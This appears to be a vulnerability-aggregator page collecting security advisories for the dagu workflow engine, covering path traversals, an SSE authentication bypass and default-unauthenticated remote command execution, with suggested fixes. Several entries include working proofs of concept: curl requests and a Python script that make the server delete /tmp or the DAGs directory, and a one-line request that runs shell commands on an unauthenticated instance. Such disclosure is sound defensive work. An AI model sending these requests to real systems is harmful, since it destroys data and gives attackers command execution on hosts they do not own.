-Infinity
0

Vendor Risk Score

See how dagu compares to other vendors in security performance

View Risk Score →

Software

Severity
6.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The traversal fix for CVE-2026-33344 was implemented as HTTP middleware installed only in the chi handler chain, but the MCP service calls the same API method in process, so arbitrary YAML file read is reachable again through the MCP tool surface with a viewer-role key. Read-only, limited to .yaml/.yml targets. Confirmed at HEAD f6c039f (post v2.10.7).

The defect

The fix for CVE-2026-33344 is a reflection-based HTTP middleware (internal/frontend/.../api.go, roughly lines 553-597) that inspects a request field named FileName and rejects anything that is not a plain name. It is installed in exactly one place: the chi strict-handler chain (api.go around line 419).

The MCP service does not go through that chain. internal/service/mcp/server.go calls the API method directly as an in-process Go call:

go func (svc Service) getDAGSpec(ctx context.Context, name string) (map[string]any, error) { // line 307 resp, err := svc.api.GetDAGSpec(ctx, daguapi.GetDAGSpecRequestObject{ FileName: daguapi.DAGFileName(name), // line 309 })

No HTTP request is constructed, so no middleware executes, and the underlying resolver is still uncontained:

go func (store Storage) locateDAG(nameOrPath string) (string, error) { // line 1041 if strings.Contains(nameOrPath, string(filepath.Separator)) { // line 1042 foundPath, err := findDAGFile(nameOrPath) if err == nil { return foundPath, nil // line 1045, no containment check } }

An absolute path contains a separator, so it takes the first branch and is returned as-is, with no check that it falls under store.baseDir or any entry in store.searchPaths.

Verification

Verified end to end using the project's own conformance/mcptest harness against a real running HTTP server, not by source reading:

daguread {"target":"dagspec","name":"/abs/outside/secret.yaml"} -> HTTP 200, full file contents returned in data.spec

This also succeeded with a viewer-role API key on an auth-enabled server (auth.mode: builtin), so it is not admin-only. Control test that makes this a residual: the equivalent REST request is correctly blocked (400, "name must only contain alphanumeric characters..."). The HTTP lane is fixed; the MCP lane is not.

Bounded impact: read only (daguchange and daguexecute are both blocked by spec-level name validation; I tested both); only .yaml/.yml targets. Secondary: GetDAGSpec skips the requireWorkspaceVisible check its sibling handlers run, so this also crosses workspace isolation.

Suggested fix

Move the containment check out of HTTP middleware and into locateDAG itself, rejecting any resolved path that does not fall under baseDir or a configured search path. A middleware that runs on only one of two transports into the same API cannot hold the boundary; the resolver is the correct chokepoint since both transports converge there. Separately, add requireWorkspaceVisible to GetDAGSpec to match its siblings.

Tooling

AI assistance was used while investigating. The traversal was reproduced against a real running server through the project's own MCP conformance harness, including with a viewer-role API key, and the REST control test confirms the HTTP lane is blocked. Confirmed in the uncontained locateDAG branch and the direct in-process GetDAGSpec call at HEAD.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The traversal fix for CVE-2026-33344 was implemented as HTTP middleware installed only in the chi handler chain, but the MCP service calls the same API method in process, so arbitrary YAML file read is reachable again through the MCP tool surface with a viewer-role key. Read-only, limited to .yaml/.yml targets. Confirmed at HEAD f6c039f (post v2.10.7).

The defect

The fix for CVE-2026-33344 is a reflection-based HTTP middleware (internal/frontend/.../api.go, roughly lines 553-597) that inspects a request field named FileName and rejects anything that is not a plain name. It is installed in exactly one place: the chi strict-handler chain (api.go around line 419).

The MCP service does not go through that chain. internal/service/mcp/server.go calls the API method directly as an in-process Go call:

go func (svc Service) getDAGSpec(ctx context.Context, name string) (map[string]any, error) { // line 307 resp, err := svc.api.GetDAGSpec(ctx, daguapi.GetDAGSpecRequestObject{ FileName: daguapi.DAGFileName(name), // line 309 })

No HTTP request is constructed, so no middleware executes, and the underlying resolver is still uncontained:

go func (store Storage) locateDAG(nameOrPath string) (string, error) { // line 1041 if strings.Contains(nameOrPath, string(filepath.Separator)) { // line 1042 foundPath, err := findDAGFile(nameOrPath) if err == nil { return foundPath, nil // line 1045, no containment check } }

An absolute path contains a separator, so it takes the first branch and is returned as-is, with no check that it falls under store.baseDir or any entry in store.searchPaths.

Verification

Verified end to end using the project's own conformance/mcptest harness against a real running HTTP server, not by source reading:

daguread {"target":"dagspec","name":"/abs/outside/secret.yaml"} -> HTTP 200, full file contents returned in data.spec

This also succeeded with a viewer-role API key on an auth-enabled server (auth.mode: builtin), so it is not admin-only. Control test that makes this a residual: the equivalent REST request is correctly blocked (400, "name must only contain alphanumeric characters..."). The HTTP lane is fixed; the MCP lane is not.

Bounded impact: read only (daguchange and daguexecute are both blocked by spec-level name validation; I tested both); only .yaml/.yml targets. Secondary: GetDAGSpec skips the requireWorkspaceVisible check its sibling handlers run, so this also crosses workspace isolation.

Suggested fix

Move the containment check out of HTTP middleware and into locateDAG itself, rejecting any resolved path that does not fall under baseDir or a configured search path. A middleware that runs on only one of two transports into the same API cannot hold the boundary; the resolver is the correct chokepoint since both transports converge there. Separately, add requireWorkspaceVisible to GetDAGSpec to match its siblings.

Tooling

AI assistance was used while investigating. The traversal was reproduced against a real running server through the project's own MCP conformance harness, including with a viewer-role API key, and the REST control test confirms the HTTP lane is blocked. Confirmed in the uncontained locateDAG branch and the direct in-process GetDAGSpec call at HEAD.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.02%
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
EPSS
0.15%
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H

1. Vulnerability Summary

The dagRunId request field accepted by the inline DAG execution endpoints is passed directly into filepath.Join to construct a temporary directory path without any format validation. Go's filepath.Join resolves .. segments lexically, so a caller can supply a value such as ".." to redirect the computed directory outside the intended /tmp/<name>/<id> path. A deferred cleanup function that calls os.RemoveAll on that directory then runs unconditionally when the HTTP handler returns, deleting whatever directory the traversal resolved to.

With dagRunId set to "..", the resolved directory is the system temporary directory (/tmp on Linux). On non-root deployments, os.RemoveAll("/tmp") removes all files in /tmp owned by the dagu process user, disrupting every concurrent dagu run that has live temp files. On root or Docker deployments, the call removes the entire contents of /tmp, causing a system-wide denial of service.

2. This Is Not a Duplicate of Existing Advisories

Two security advisories are already published for dagu. This vulnerability is distinct from both.

GHSA-6qr9-g2xw-cw92 fixed the fact that the default authentication mode was none, allowing unauthenticated access to the inline execution endpoint. That advisory covers authentication bypass. The dagRunId path traversal described here is a separate input-validation flaw in loadInlineDAG() that exists regardless of whether authentication is required and was not addressed by that fix.

CVE-2026-27598 fixed a path traversal in the DAG creation endpoint (POST /api/v1/dags) via the name field. The fix added filepath.Base() and a base-directory prefix check inside generateFilePath(). That fix applies only to generateFilePath() in dags.go. The function loadInlineDAG() in dagruns.go has no equivalent guard on its dagRunID argument and was not part of that patch.

3. Vulnerable Code

File: internal/service/frontend/api/v1/dagruns.go

The loadInlineDAG function (lines 202-267) constructs the temp directory at line 234:

go tmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID)

dagRunID is user-supplied. No validation of the value occurs before this line. The cleanup closure is then registered:

go cleanup := func() { = os.RemoveAll(tmpDir) }

In ExecuteDAGRunFromSpec (lines 52-119), the cleanup is deferred unconditionally:

go dag, cleanup, err := a.loadInlineDAG(ctx, request.Body.Spec, request.Body.Name, dagRunId) if err != nil { return nil, err } defer cleanup() // registered after loadInlineDAG succeeds; fires on all subsequent return paths

The same pattern appears in EnqueueDAGRunFromSpec (lines 122-200), line 160:

go defer cleanup()

Why the OpenAPI schema pattern does not prevent this:

The DAGRunId schema in api/v1/api.yaml (line 5738) declares:

yaml pattern: "^[a-zA-Z0-9-]+$"

This pattern excludes . and /, which would block path traversal values. However, enforcement of that pattern depends on the OpenAPI validator middleware, which is only activated when StrictValidation is true. That setting is defined in internal/cmn/config/config.go:

go StrictValidation bool

It is not present in the Definition struct (definition.go) and carries no mapstructure tag, which means viper/mapstructure can never populate it from a YAML configuration file; it therefore cannot be set in the config loader (loader.go) and its value is always the Go zero value for bool, which is false. The loader test at line 165 of loadertest.go confirms that StrictValidation is false even after loading a comprehensive configuration file that exercises every configurable option — because there is no mechanism by which it could ever be true. The validator middleware is never registered for any standard dagu deployment.

The file dagruns.go defines a sanitizeFilename helper at line 36 that replaces characters outside [a-zA-Z0-9.-] with underscores. This function is called when constructing log filenames (lines 422, 566, 1127, and 1211) and is never applied to dagRunID before the filepath.Join call. No validation or sanitization of dagRunID for path separator characters exists anywhere in the request-to-filepath.Join pipeline.

4. Attack Conditions

- The attacker must be authenticated with a role of operator, developer, manager, or admin (any role for which CanExecute() returns true). - The server permission PermissionRunDAGs must be enabled. This is the default (true as set in loader.go lines 353-356). - On dagu versions 1.30.3 and earlier, where the default authentication mode was none, no authentication is required at all.

5. Attack Scenario

Step 1: Authenticate

bash TOKEN=$(curl -s -X POST http://TARGET:8080/api/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"operator","password":"<password>"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

For versions with auth.mode: none, authentication is not required and the Authorization header can be omitted.

Step 2: Send the malicious request

bash curl -s -X POST http://TARGET:8080/api/v1/dag-runs \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{ "spec": "steps:\n - name: s\n command: id\n", "dagRunId": ".." }'

Step 3: What happens inside the server

1. request.Body.DagRunId is "..". This value is copied to dagRunId at line 72 without modification.

2. loadInlineDAG is called with dagRunID = ".." and no name parameter, so nameHint = "inline". Because name is nil, the else branch at lines 214-231 runs first: spec.LoadYAML parses the spec content and dag.Validate() checks its structure. This pre-validation operates entirely on the YAML content; it has no knowledge of dagRunID. The exploit spec (steps:\n - name: s\n command: id\n) passes this check. The nameHint variable is not updated by this parse — it stays "inline" regardless of any name field inside the spec YAML. Control reaches line 234 only after the spec is accepted.

3. Line 234 executes: tmpDir = filepath.Join("/tmp", "inline", "..") = filepath.Clean("/tmp/inline/..") = "/tmp" (filepath.Join calls filepath.Clean on the joined result, resolving .. lexically.)

4. os.MkdirAll("/tmp", 0o750) succeeds because /tmp already exists.

5. The cleanup closure captures tmpDir = "/tmp": go cleanup = func() { os.RemoveAll("/tmp") }

6. The spec is written to filepath.Join("/tmp", "inline.yaml") = /tmp/inline.yaml and loaded via spec.Load (line 256). The load succeeds.

7. loadInlineDAG returns dag, cleanup, nil.

8. defer cleanup() is registered in ExecuteDAGRunFromSpec.

9. The handler builds the 200 response object. In Go, deferred functions execute during the function's return sequence — before control returns to chi's server wrapper. The deferred cleanup therefore fires first: os.RemoveAll("/tmp") runs and removes the target directory.

10. The handler returns the response object to chi. Chi serializes it and sends the HTTP 200 to the client. The 200 is delivered successfully because the response content was already constructed before the defer ran; the directory deletion does not affect the HTTP response.

Step 4: Result

On non-root deployments: all files in /tmp owned by the dagu process user are removed (Linux sticky bit prevents deletion of files owned by other users). Any concurrent dagu runs that have live temp files in /tmp lose those files and fail.

On root or Docker deployments (where dagu runs as root inside a container, which is a common production pattern): all contents of /tmp are removed, affecting every process on the system that uses /tmp for temporary storage.

The attack can be sent repeatedly without any cooldown, maintaining the denial-of-service condition.

6. Proof of Concept

One-liner (against auth-mode-none instance)

bash curl -s -X POST http://localhost:8080/api/v1/dag-runs \ -H "Content-Type: application/json" \ -d '{"spec":"steps:\n - name: s\n command: id\n","dagRunId":".."}'

Automated PoC script

Save as poc.py and run with python3 poc.py:

python #!/usr/bin/env python3 """ Proof of Concept: dagu dagRunId path traversal Affected: POST /api/v1/dag-runs (executeDAGRunFromSpec) POST /api/v1/dag-runs/enqueue (enqueueDAGRunFromSpec)

Vulnerable line: dagruns.go:234 tmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID)

Usage: python3 poc.py --url http://localhost:8080 python3 poc.py --url http://localhost:8080 --username admin --password secret python3 poc.py --url http://localhost:8080 --token eyJ... """

import argparse import json import os import sys import time import urllib.request import urllib.error

def login(baseurl, username, password): payload = json.dumps({"username": username, "password": password}).encode() req = urllib.request.Request( f"{baseurl}/api/v1/auth/login", data=payload, headers={"Content-Type": "application/json"}, method="POST", ) try: with urllib.request.urlopen(req, timeout=10) as resp: data = json.loads(resp.read()) token = data.get("token") or data.get("accessToken") if not token: print(f"Login response did not contain a token: {data}") sys.exit(1) return token except urllib.error.HTTPError as e: print(f"Login failed (HTTP {e.code}): {e.read().decode()}") sys.exit(1)

def sendexploit(baseurl, token, traversal): body = json.dumps({ "spec": "steps:\n - name: s\n command: id\n", "dagRunId": traversal, }).encode() headers = {"Content-Type": "application/json"} if token: headers["Authorization"] = f"Bearer {token}" req = urllib.request.Request( f"{baseurl}/api/v1/dag-runs", data=body, headers=headers, method="POST", ) try: with urllib.request.urlopen(req, timeout=15) as resp: return resp.status, json.loads(resp.read()) except urllib.error.HTTPError as e: return e.code, e.read().decode()

def main(): parser = argparse.ArgumentParser() parser.addargument("--url", default="http://localhost:8080") parser.addargument("--token", default="") parser.addargument("--username", default="admin") parser.addargument("--password", default="") parser.addargument("--traversal", default="..", help="Value for dagRunId (default: '..')") args = parser.parseargs()

baseurl = args.url.rstrip("/") traversal = args.traversal

import posixpath namehint = "inline" expecteddir = posixpath.normpath(f"/tmp/{namehint}/{traversal}") print(f"Target server : {baseurl}") print(f"dagRunId value: {repr(traversal)}") print(f"Resolved tmpDir (Linux): filepath.Join('/tmp', '{namehint}', '{traversal}') = '{expecteddir}'") print(f"os.RemoveAll will target: '{expecteddir}'") print()

token = args.token if not token and args.password: print("Obtaining JWT token...") token = login(baseurl, args.username, args.password) print(f"Token obtained: {token[:30]}...") elif not token: print("No token provided. Proceeding without authentication (requires auth.mode: none).") print()

tmpbefore = os.path.exists(expecteddir) if os.path.isabs(expecteddir) else None if tmpbefore is not None: print(f"'{expecteddir}' exists before request: {tmpbefore}")

print(f"Sending request to {baseurl}/api/v1/dag-runs ...") status, body = sendexploit(baseurl, token, traversal) print(f"HTTP {status}: {body}") print()

if status not in (200, 201): print(f"Unexpected status {status}. Check credentials or server configuration.") sys.exit(1)

time.sleep(0.5)

if tmpbefore is not None: tmpafter = os.path.exists(expecteddir) print(f"'{expecteddir}' exists after request: {tmpafter}") if not tmpafter: print() print("CONFIRMED: path traversal caused os.RemoveAll to delete the target directory.") else: print() print("Directory still exists. If running against a remote server, check") print(f"on the server host whether '{expecteddir}' was modified.") else: print(f"Cannot verify filesystem state from this host.") print(f"On the server, check whether '{expecteddir}' was modified after the request.")

if name == "main": main()

Local test setup (no existing dagu installation needed)

bash Download the latest dagu binary curl -L https://github.com/dagu-org/dagu/releases/latest/download/dagulinuxamd64.tar.gz \ | tar -xz

Start with no authentication for simplest reproduction cat > /tmp/dagu-test.yaml <<'EOF' auth: mode: none EOF

./dagu server --config /tmp/dagu-test.yaml & SERVERPID=$! sleep 2

Confirm /tmp is accessible echo "Files in /tmp before: $(ls /tmp | wc -l)"

Run the exploit curl -s -X POST http://localhost:8080/api/v1/dag-runs \ -H "Content-Type: application/json" \ -d '{"spec":"steps:\n - name: s\n command: id\n","dagRunId":".."}'

sleep 1

Check whether dagu-owned temp files were deleted echo "Files in /tmp after: $(ls /tmp | wc -l)"

kill $SERVERPID

Variant: target the enqueue endpoint

Both endpoints are affected via the same loadInlineDAG call:

bash curl -s -X POST http://TARGET:8080/api/v1/dag-runs/enqueue \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"spec":"steps:\n - name: s\n command: id\n","dagRunId":".."}'

Variant: file write outside /tmp

With a dagRunId value that traverses to a known writable directory, the spec content is written there as <nameHint>.yaml before the cleanup removes that directory:

json { "spec": "steps:\n - name: s\n command: id\n", "name": "payload", "dagRunId": "../../home/dagu/dags" }

This writes /home/dagu/dags/payload.yaml, executes it, then calls os.RemoveAll("/home/dagu/dags"), deleting the entire DAGs directory. The exact path depends on the deployment but can be inferred from error messages or default paths.

7. Impact

Denial of Service (primary)

On every deployment, an authenticated operator can send one request to trigger os.RemoveAll on a directory outside the intended temp subdirectory. With dagRunId="..", the target is /tmp. On a non-root deployment with Linux sticky bit semantics, all temp files in /tmp created by the dagu user are deleted. Any running dagu workflow that depends on temp files in progress is interrupted. The attack can be repeated continuously with no rate limiting, preventing recovery.

On Docker-based deployments where dagu runs as root inside a container (a common pattern for dagu installations), os.RemoveAll("/tmp") removes all contents of /tmp inside the container. This affects every process in the container that uses /tmp, including shared libraries unpacked at runtime, unix sockets, and lock files.

Arbitrary file write (secondary)

The spec YAML content provided by the attacker is written to filepath.Join(tmpDir, nameHint+".yaml") where both tmpDir and nameHint can be influenced. If the attacker knows or can guess the path of a directory writable by the dagu process (for example, the DAGs directory), they can write arbitrary YAML content there. Because spec.Load reads from that path and executes the spec, this also provides a mechanism for persisting a workflow definition containing attacker-controlled commands in the DAGs directory before the cleanup removes it.

Deletion of the DAGs directory (combined)

The combination of the file write and the cleanup allows an authenticated operator to permanently delete the entire DAGs directory in a single request by pointing dagRunId at that path. This destroys all workflow definitions for all users of the dagu instance.

8. Affected Versions

The loadInlineDAG function and both calling handlers (ExecuteDAGRunFromSpec and EnqueueDAGRunFromSpec) are present in the current main branch. The vulnerability has existed since these endpoints were introduced. No fix is present as of the review date of 2026-02-24.

Authentication requirements differ by version: - Versions 1.30.3 and earlier: default auth.mode was none, so this is exploitable without credentials - Versions after 1.30.3: default auth.mode is builtin, so operator-level credentials are required

9. Recommended Fix

Validate dagRunID before use in loadInlineDAG. The OpenAPI schema already defines the correct pattern. Enforce it at the application layer:

go // Add at the start of loadInlineDAG, before filepath.Join: var validDAGRunID = regexp.MustCompile(^[a-zA-Z0-9-]+$)

if dagRunID != "" && !validDAGRunID.MatchString(dagRunID) { return nil, func() {}, &Error{ HTTPStatus: http.StatusBadRequest, Code: api.ErrorCodeBadRequest, Message: "dagRunId contains invalid characters", } }

As a defense-in-depth measure, verify that the resolved tmpDir is actually inside the expected base after joining:

go tmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID) expectedBase := filepath.Join(os.TempDir(), nameHint) if !strings.HasPrefix(tmpDir+string(filepath.Separator), expectedBase+string(filepath.Separator)) { return nil, func() {}, &Error{ HTTPStatus: http.StatusBadRequest, Code: api.ErrorCodeBadRequest, Message: "dagRunId resolves outside the permitted temp directory", } }

The same fix must be applied to both ExecuteDAGRunFromSpec and EnqueueDAGRunFromSpec. Additionally, enabling StrictValidation: true as the default configuration would provide an extra layer of enforcement at the API boundary.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.19%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SSE Authentication Bypass in Basic Auth Mode

Summary

When Dagu is configured with HTTP Basic authentication (DAGUAUTHMODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.

Severity

HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Affected Versions

- dagu v2.2.3 (latest) and likely all versions with basic auth support

Affected Component

internal/service/frontend/server.go — buildStreamAuthOptions() function (lines 1177–1201)

Root Cause

The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):

go // server.go:1195-1201 if authCfg.Mode == config.AuthModeBasic { return auth.Options{ Realm: realm, BasicAuthEnabled: true, Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password}, // AuthRequired is NOT set — defaults to false } }

The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:

go // No credentials provided // If auth is not required, allow the request through if !opts.AuthRequired { next.ServeHTTP(w, r) return }

The developers left a FIXME comment (line 1193) acknowledging this issue: // FIXME: add a session-token mechanism for basic-auth users so browser // EventSource requests can authenticate via the ?token= query parameter.

Exposed SSE Endpoints

All SSE routes are affected (server.go:1004-1019):

| Endpoint | Data Leaked | |----------|-------------| | /api/v1/events/dags | All DAG names, descriptions, file paths, schedules, tags, execution status | | /api/v1/events/dags/{fileName} | Individual DAG configuration details | | /api/v1/events/dags/{fileName}/dag-runs | DAG execution history | | /api/v1/events/dag-runs | All active DAG runs across the system | | /api/v1/events/dag-runs/{name}/{dagRunId} | Specific DAG run status and node details | | /api/v1/events/dag-runs/{name}/{dagRunId}/logs | Execution logs (may contain secrets, credentials, API keys) | | /api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName} | Step-level stdout/stderr logs | | /api/v1/events/queues | Queue status and pending work items | | /api/v1/events/queues/{name}/items | Queue item details | | /api/v1/events/docs-tree | Documentation tree | | /api/v1/events/docs/ | Documentation content |

Additionally, the Agent SSE stream uses the same auth options (server.go:1166).

Proof of Concept

Setup bash Start Dagu with basic auth export DAGUAUTHMODE=basic export DAGUAUTHBASICUSERNAME=admin export DAGUAUTHBASICPASSWORD=secret123 dagu start-all

Verify REST API requires auth bash Regular API — returns 401 Unauthorized curl -s -o /dev/null -w "%{httpcode}" http://localhost:8080/api/v1/dags Output: 401

With credentials — returns 200 curl -s -o /dev/null -w "%{httpcode}" -u admin:secret123 http://localhost:8080/api/v1/dags Output: 200

Exploit SSE bypass bash SSE endpoint WITHOUT any credentials — returns 200 with full data curl -s -N http://localhost:8080/api/v1/events/dags

Output (truncated): event: connected data: {"topic":"dagslist:"}

event: data data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...}, "filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml", "latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}}, ...]}

bash Access execution logs without credentials curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs

Output: event: data data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}

Wrong credentials are rejected bash Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it) curl -s -o /dev/null -w "%{httpcode}" -u wrong:wrong http://localhost:8080/api/v1/events/dags Output: 401

Impact

An unauthenticated network attacker can:

1. Enumerate all workflows: DAG names, descriptions, file paths, schedules, and tags 2. Monitor execution in real-time: Track which workflows are running, their status, and when they complete 3. Read execution logs: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames) 4. Map infrastructure: File paths and workflow configurations reveal server directory structure and deployment details 5. Observe queue state: Understand pending work items and system load

This is especially critical in environments where: - Workflows process sensitive data (credentials, PII, financial data) - DAG parameters contain secrets passed at runtime - Log output includes API responses or database queries with sensitive content

Suggested Fix

Set AuthRequired: true for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:

go if authCfg.Mode == config.AuthModeBasic { return auth.Options{ Realm: realm, BasicAuthEnabled: true, AuthRequired: true, // Require authentication Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password}, } }

For browser SSE compatibility, implement a session token that can be passed via the ?token= query parameter (the QueryTokenMiddleware already exists at auth/middleware.go:39 to convert query params to Bearer tokens).

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.08%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Dagu is a workflow engine with a built-in Web user interface. In versions up to and including 1.16.7, the CreateNewDAG API endpoint (POST /api/v1/dags) does not validate the DAG name before passing it to the file store. An authenticated user with DAG write permissions can write arbitrary YAML files anywhere on the filesystem (limited by the process permissions). Since dagu executes DAG files as shell commands, writing a malicious DAG to the DAGs directory of another instance or overwriting config files can lead to remote code execution. Commit e2ed589105d79273e4e6ac8eb31525f765bb3ce4 fixes the issue.

1 / 2
Source: MITRE
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.

Details internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.

The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.

PoC bash curl -s -X POST http://TARGET:8080/api/v2/dag-runs \ -H "Content-Type: application/json" \ -d '{"name":"poc","spec":"steps:\n - name: rce\n command: id > /tmp/pwned\n"}' Response: {"dagRunId":"<uuid>"} /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu) Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.

Impact Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGUAUTHMODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.

1 / 3
Source: OSV
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203